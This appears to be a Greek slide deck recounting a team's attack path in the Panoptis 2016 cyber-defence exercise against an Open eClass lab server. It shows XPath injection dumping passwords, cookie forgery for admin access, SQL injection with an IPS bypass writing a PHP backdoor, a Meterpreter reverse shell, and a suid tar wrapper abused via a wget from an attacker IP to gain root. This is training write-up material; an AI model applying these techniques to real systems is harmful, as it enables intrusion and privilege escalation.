


Ιστορική Αναδρομή…
Πάμε λίγο πίσω… 2003+
…λίγο μετά… 2005-2006… - 2010



ΠΑΝΟΠΤΗΣ 2016 – αρχικό στάδιο



Άσκηση Κυβερνοάμυνας - ορισμός
√ Μία άσκηση κυβερνοάμυνας έχει σαν σκοπό να προσομοιώσει 
πραγματικές κυβερνοεπιθέσεις τις οποίες θα πρέπει να 
αντιμετωπίσουν οι επαγγελματίες 
των οργανισμών, στηριζόμενοι στην πολιτική τους. 

√ Ως αντικειμενικός σκοπός των ασκήσεων κυβερνοάμυνας 
είναι να εξεταστούν οι διαδικασίες και οι δυνατότητες του 
οργανισμού, στην αντιμετώπιση των κυβερνοεπιθέσεων. Με 
λίγα λόγια, δοκιμάζεται η ετοιμότητα ενός οργανισμού, στην 
αντιμετώπιση κυβερνοεπιθέσεων 

√ Τύποι ασκήσεων κυβερνοάμυνας: 
● Σε πραγματικό χρόνο, 
● σε μη πραγματικό χρόνο 
● και μεικτές 





Βήμα 1:
– Να γίνει εξαγωγή των κωδικών πρόσβασης των χρηστών από την εφαρμογή 
όπου εμφανίζεται ο κατάλογος χρηστών.

Ζητούμενα (συνέχεια)

Βήμα 2:
– Απόκτηση πρόσβασης με δικαιώματα διαχειριστή στην Εφαρμογή Τηλε-εκπαίδευσης 
για περαιτέρω διερεύνηση.

Βήμα 3:
– Εύρεση αδυναμίας στην πλατφόρμα διαχείρισης της εφαρμογής.
– Απόκτηση πρόσβασης στο σύστημα/εξυπηρετητή ως χρήστης ρίζα (root).

URL:
Εφαρμογή απεικόνισης καταλόγου χρηστών της εφαρμογής Τηλε-εκπαίδευσης:
http://users.enemy.chickenkiller.com

Εφαρμογή Τηλε-εκπαίδευσης:
http://enemy.chickenkiller.com

http://users.enemy.chickenkiller.com/
http://enemy.chickenkiller.com/


• Τύπος ομάδας Α: Καθένας μπορεί να τα κάνει όλα 
(όλοι-όλα).

Η μεθοδολογία των 
ομάδων

• Τύπος ομάδας Β: Ο καθένας στην ειδικότητα του 
(ανά ειδικότητα).

• Κάθε ομάδα έχει έναν συντονιστή (ο πιο έμπειρος, 
αναλαμβάνει την ευθύνη της «διακυβέρνησης»).



Γενικά πώς κινούμαστε…

[1] Προσεκτική μελέτη του στόχου

[2] Καταγραφή των Ν πιο πιθανών 
τρωτοτήτων (από βήμα 1)

[3] Ιδανικά: κατανομή αποστολών σε Ν 
ομάδες της έρευνας σε βάθος των 
παραπάνω  τρωτοτήτων (παράλληλα)



Σε οποιοδήποτε στάδιο αν κάποια ομάδα βρει «τοίχο» (προ Bingo), σταματά 
και μοιράζεται στις άλλες ομάδες (περίπτωση όλοι-όλα) αλλιώς σταματά 

και περιμένει (περίπτωση ανά-ειδικότητα).

BINGO
!

κ.ο.κ
….

Σχηματική Αναπαράσταση της 
μεθοδολογίας μας



Βήμα 1:
– Να γίνει εξαγωγή των κωδικών πρόσβασης των 
χρηστών από την εφαρμογή όπου εμφανίζεται ο 
κατάλογος χρηστών.

Πιο πιθανά σενάρια κατά προτεραιότητα:
• SQL Injection 
• XML Injection
• Code Injection

Λιγότερο πιθανά:
[+] Εύρεση info με βάση κάποιο ξεχασμένο backup 
(see default backup locations).
[+] Directory listing…



Gentlemen start your 
engines…

Users.enemy.chickenkiller/catalog.php?name=SysAdministrator



Catalogue.php?name=SysAdministrator’

SimpleXMLElement::xpath(): Invalid 
predicate in…





Επίτευξη στόχου 1:
Να γίνει εξαγωγή των κωδικών πρόσβασης των χρηστών 
από την εφαρμογή όπου εμφανίζεται ο κατάλογος χρηστών

USERNAME PASSWORD

evaluation_user1 RFCFqXGGb2N7e4kzfESMwYaq5JbzSTg
N9U5t

evaluation_user2 htY63vfjnu37BZqWZjVARdqggguXg8bH
UkeN

SysAdministrator secret_password



Ανάλυση Πιθανών Τρωτοτήτων:

• SQLi (Λίγο πιθανό διότι ήδη το Βήμα 1 ήταν injection {XPATH} )
• Session Hijacking (Πιθανό) & κλασικό!
• CSRF (Χλωμό, αλλά ποτέ δεν ξέρεις…)
• Έλεγχος εφαρμογής και εύρεση γνωστής αδυναμίας 

(public/darknet)

Βήμα 2:
– Απόκτηση πρόσβασης με δικαιώματα διαχειριστή 
στην Εφαρμογή Τηλε-εκπαίδευσης για περαιτέρω 
διερεύνηση.





The Battle of cookies… I

• Έχουμε τα παρακάτω δεδομένα:
evaluation_user1 RFCFqXGGb2N7e4kzfESMwYaq5JbzSTgN9U5t
evaluation_user2 htY63vfjnu37BZqWZjVARdqggguXg8bHUkeN

• Γνωρίζουμε την ύπαρξη του χρήστη SysAdministrator από 
σχετική ανακοίνωση στο μάθημα.

• Κατά την αυθεντικοποίηση στην εφαρμογή, παρατηρούμε την 
ύπαρξη cookie “PERMS” κωδικοποιημένο σε BASE64

• Παρατηρούμε οτι το cookie αυτό, ανάλογα με το χρήστη που 
συνδεόμαστε, αλλάζει μόνο σε ένα τμήμα. Κάνοντας URL 
decode εντοπίζουμε ακριβώς τα bytes που αλλάζουν.

• Παρατηρούμε επίσης ένα hidden πεδίο με το όνομα Date (που θα 
παίξει ρόλο στην ανάλυση - αργότερα).



The Battle of cookies… II

Μετά την αυθεντικοποίηση με τον Χρήστη 1 & μετά τον 2 έχουμε 
τα εξής cookies:
D2VYoTRb7rP4vQwuapYIUFvEzxcyosGehaXTahZuq5%2Fe5TZ2piBfFSwQT0zPWmps

SQFuoC2gQwqJMWaEysuOVyBSDPW%2BBAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps

• Αφού κάνουμε URL decode, παίρνουμε:
Χρήστης1: D2VYoTRb7rP4vQwuapYIUFvEzxcyosGehaXTahZuq5/e5TZ2piBfFSwQT0zPWmps
Χρήστης2: SQFuoC2gQwqJMWaEysuOVyBSDPW+BAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps

• Χρήστης #1 με αλλαγή του hidden πεδίου Date:
D2VYoTRb7rP4vQwuapYIUCBSDPW+BAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps
D2VYoTRb7rP4vQwuapYIUFvEzxcyosGehaXTahZuq5/e5TZ2piBfFSwQT0zPWmps

• Χρήστης #2 με αλλαγή του hidden πεδίου Date:
SQFuoC2gQwqJMWaEysuOVyBSDPW+BAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps
SQFuoC2gQwqJMWaEysuOV1vEzxcyosGehaXTahZuq5/e5TZ2piBfFSwQT0zPWmps



The Battle of cookies…III
• Μέχρι στιγμής φαίνεται οτι έχουμε ένα cookie που αποτελείται από 3 

μέρη:
<Α><Β><Γ> έτσι ώστε:

• Το <Γ> δεν αλλάζει ούτε από την ημ/νία ούτε από την αλλαγή του 
χρήστη.

• Το <Β> αλλάζει με την ημ/νία και όχι με την αλλαγή του χρήστη.
• Το <Α> δεν αλλάζει με την ημ/νία και αλλάζει την αλλαγή του χρήστη.

Οδηγούμαστε στο συμπέρασμα ότι το <Α> πιθανόν να είναι το username.

Άρα, πρέπει να βρούμε το ciphertext που αντιστοιχεί στον 
SysAdministrator.



The Battle of cookies…IV, η 
μέθοδος μας:

• Valid Cookie Χρήστη #1 :
D2VYoTRb7rP4vQwuapYIUCBSDPW+BAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps

 Οι υπογραμμισμένοι χαρακτήρες αφορούν την ημερομηνία που βάζουμε!

• Αν βάλουμε λοιπόν σαν ημ/νία το ‘SysAdministrator’ θα πάρουμε το 
ciphertext, έστω <ΧΥΖ>:
D2VYoTRb7rP4vQwuapYIU<XYZ>e5TZ2piBfFSwQT0zPWmps

• Άρα CipherText(‘SysAdministrator) = <XΥΖ>

• Οπότε βάζουμε το <XΥΖ> σαν username στο cookie του Χρήστη #1, 
έτσι το:
D2VYoTRb7rP4vQwuapYIUCBSDPW+BAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps

Θα γίνει
<ΧΥΖ>CBSDPW+BAsJCYlcP1TJvfPe5TZ2piBfFSwQT0zPWmps



Αφού αναλύσαμε τα αποτελέσματα έπειτα από decoding και encoding των πρώτων 16byte με BASE64 και 
χρησιμοποιώντας έναν cookie manager δημιουργήσαμε το τελικό μας cookie που μας έδωσε δικαιώματα 
διαχειριστή και είναι το ακόλουθο:

0KGSFQ3RkCAXfXbQHDzU%2F2rGYOrFposd6lJAE%2Bzfsf%2BkZlFmCJi7d1lOmQ%2BdSBaE

Στόχος 2 επιτυχής:
Απόκτηση πρόσβασης με δικαιώματα 

διαχειριστή στην Εφαρμογή 
Τηλε-εκπαίδευσης.



Βήμα 3:
– Εύρεση αδυναμίας στην πλατφόρμα διαχείρισης της 
εφαρμογής.
– Απόκτηση πρόσβασης στο σύστημα/εξυπηρετητή ως 
χρήστης ρίζα (root).

Ανάλυση Πιθανών Τρωτοτήτων:

• SQLi (Όχι τόσο Πιθανό)
• Session Hijacking (Δύσκολο διότι ήδη έπαιξε στο προηγούμενο βήμα)
• CSRF (Χλωμό, αλλά ποτέ δεν ξέρεις…)
• Έλεγχος εφαρμογής και εύρεση γνωστής αδυναμίας (public/darknet)
• ΧSS (Phishing, Client Side Attacks,…. Μπααα - δύσκολο)



Ιστορικό κινήσεων
• Τα δικαιώματα δεν ήταν αρκετά για να ανεβάσουμε backdoor διότι όταν 

δοκιμάσαμε να αλλάξουμε από έναν Uploader τα file extension όπου μας 
επίτρεπε ήθελε 2FA όπου δεν γνωρίζαμε το password.

• Ψάχναμε παράλληλα και τον κώδικα στο GitHub (https://github.com/
maellak/openeclass) με δεδομένο οτι είχαμε να κάνουμε με το OpenClass 
CMS.

• Βρήκαμε ότι το /modules/admin/commondocs.php μας επέτρεπε να 
ανεβάσουμε κείμενο χωρίς την απαίτηση 2FA (Two Factor Authentication). 
Δεν καταφέραμε (στον χρόνο που είχαμε) να κάνουμε bypass το File 
Extension Check και να ανεβάσουμε εκτελέσιμα αρχεία αν και δοκιμάσαμε 
αρκετές μεθόδους (εικόνες, pdfs με διπλό, τριπλό extension, Null Poison 
tests, etc.)

https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
https://github.com/maellak/openeclass
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php
http://enemy.chickenkiller.com/modules/admin/commondocs.php


Ιστορικό κινήσεων ΙΙ

• Επίσης προσπαθήσαμε (χωρίς αποτέλεσμα) να 
αλλάξουμε τα επιτρεπόμενα File Extensions όπως 
δείχνει η επόμενη εικόνα:



Ιστορικό κινήσεων ΙΙΙ – κοντά στον 
στόχο
• Τέλος, αναγκαστήκαμε να ψάξουμε για άλλο 

Vulnerability γνωρίζοντας οτι υπάρχουν κάποια SQL 
Injection στην εφαρμογή χρησιμοποιήσαμε ένα από 
αυτά για Manual SQL Injection.

• Διαπιστώσαμε επίσης την ύπαρξη IPS που μπλόκαρε 
συγκεκριμένες εντολές SQL.

• Η παράκαμψη του IPS έγινε με την χρήση remarks /*…*/ 
από την γραμμή του URL, όπως φαίνεται στην επόμενη 
εικόνα.





Επιχειρήσαμε τελικά να χρησιμοποιήσουμε την μέθοδο INTO OUTFILE όπου 
μπορούσαμε να γράψουμε κάποιο PHP κώδικα στον Server . Γράψαμε έναν δικό 
μας backdoor και ανεβάσαμε SHELL:



Αμέσως μετά ανεβάσαμε payload με στόχο να πάρουμε access 
από Metasploit μέσω php/meterpreter/reverse_tcp



Παρατηρήσαμε στο history την προσπάθεια διαγραφής του 
βασικού αρχείου secret_flag.txt που πιθανόν και να έδινε info για 
το τελικό αποτέλεσμα:

meterpreter > history
…
cat EmOaDxYY.sh
cat NvFaKahc.sh
cat agOUOoaX
ls
rm secret_flag.txt
rm LKYV.tar
w
ls -l
Ls
…



Γενικό Αποτέλεσμα

• Η τελική διαδικασία για την υλοποίηση του ΣΤΟΧΟΥ 
“απόκτηση ROOT” δεν επετεύχθη στο διάστημα των 2 
ημερών που είχαμε δώσει.

• Στην συνέχεια, για την γνωσιολογική επάρκεια θα 
παρουσιαστεί ο τρόπος που κάποιος έπαιρνε root 
access… όπως αυτή δόθηκε στο τέλος των ασκήσεων 
από την ΔΙ.ΚΥΒ.



Κάνοντας «ls» και «cat» στον φάκελο «/var/www/» παρατηρούμε την ύπαρξη
εκτελέσιμου αρχείου με το όνομα wrapper, το αρχείο του αντίστοιχου κώδικα με
το όνομα wrapper.sh και το script με το όνομα createbackup.sh.
http://enemy.chickenkiller.com/test.php?c=ls –l ../



Διαπιστώνουμε οτι το εκτελέσιμο τρέχει με δικαιώματα χρήστη root, αφού 
πραγματοποιώντας «ls» βλέπουμε το suid bit ενεργοποιημένο. Κοιτώντας τον κώδικα του 
script και του wrapper.c, καταλαβαίνουμε οτι πρόκειται περι κάποιου μηχανισμού που 
πραγματοποιεί αυτοματοποιημένα backups του φακέλου «/var/www/html».
http://enemy.chickenkiller.com/test.php?c=cat ../wrapper.c

#include <unistd.h>
#include <errno.h>
main( int argc, char ** argv, char ** envp )
{
execv( "/bin/tar", argv );
}



Ο suid wrapper χρησιμοποιεί την εντολή “tar” προκειμένου 
να συμπιέσει τα backups που γίνονται. 

• Επειδή μπορούμε να επηρεάσουμε την λειτουργικότητα της tar και αντί να 
συμπιέζει (-cvf) να καλέσουμε τον wrapper έτσι ωστε να αποσυμπιέσει (-xvf) 
ένα αρχείο, και επειδή η tar κατα την αποσυμπίεση διατηρεί τα δικαιώματα 
που έχουν οριστεί σε ένα συμπιεσμένο αρχείο, θα δοκιμάσουμε να την 
καλέσουμε να αποσυμπιέσει ένα συμπιεσμένο suid binary της επιλογής μας.

• Δημιουργούμε ένα suid binary στον υπολογιστή μας, το οποίο ανοίγει ένα 
shell,και το κάνουμε “tar.gz”

#include <unistd.h>
#include <errno.h>
main( int argc, char ** argv, char ** envp ){
execv( "/bin/sh", argv );
}
$ gcc -o binbackup suid.c
$ chmod u+sx binbackup
$ tar –cvf binbackup.tar.gz binbackup



Mεταφέρουμε το εκτελέσιμο στον εξυπηρετητή και το 
αποσυμπιέζουμε χρησιμοποιώντας τον suid wrapper:

http://enemy.chickenkiller.com/test.php?c=wget 
http://<MY_PUBLIC_IP>/binbackup.tar.gz

http://enemy.chickenkiller.com/test.php?c=mv binbackup.tar.gz /var/www/ 

http://enemy.chickenkiller.com/test.php?c=/var/www/wrapper -xvf 
/var/www/binbackup.tar.gz



Η “tar” διατηρεί τα αρχικά δικαιώματα, και πλέον 
έχουμε ένα suid shell με root δικαιώματα στον 
εξυπηρετητή!

$ ./binbackup

# /usr/bin/whoami

# root

GAM
E 

OVER



ΠΑΝΟΠΤΗΣ 2016  - ΑΣΚΗΣΗ #1 
…&& μερικές Αντισυμβατικές 
παρατηρήσεις…
• Ίσως να ήταν πιο αντιπροσωπευτικό να λεγόταν Encryption 

Challenge....
• Ένα από τα πιο δύσκολα επεισόδια - με 9!! hints από τους 

διοργανωτές - τα 3 τις πρώτες ώρες,...
• Θα μπορούσε και να σταθεί ως CTF από μόνο του!
• Highlight: Οταν ΕΠΙΤΕΛΟΥΣ παίρνεις Admin το καταλαβαίνεις από την 

αλλαγή στο μενού (άσχετα αν βλέπεις ακόμα user2 ή user1).
• #GiveMeABrake I: To XML injection δίνει Admin Password που δεν 

υπάρχει... :p
• #GiveMeABrake II: Υποψία για «πειραγμένο» Open Source... εδώ σε 

θέλω!
Βαθμός Δυσκολίας: who-nose?



Πανόπτης 2016 & Ενεργοποίηση 
Κοινότητας

ΑΤΕΙ 
Θεσσαλίας: 
Β.Βλάχος 

ΑΠΘ: 
Γ.Αραβίδης

ΕΜΠ: Αθήνα



FAQ and non FAQ please… ;)
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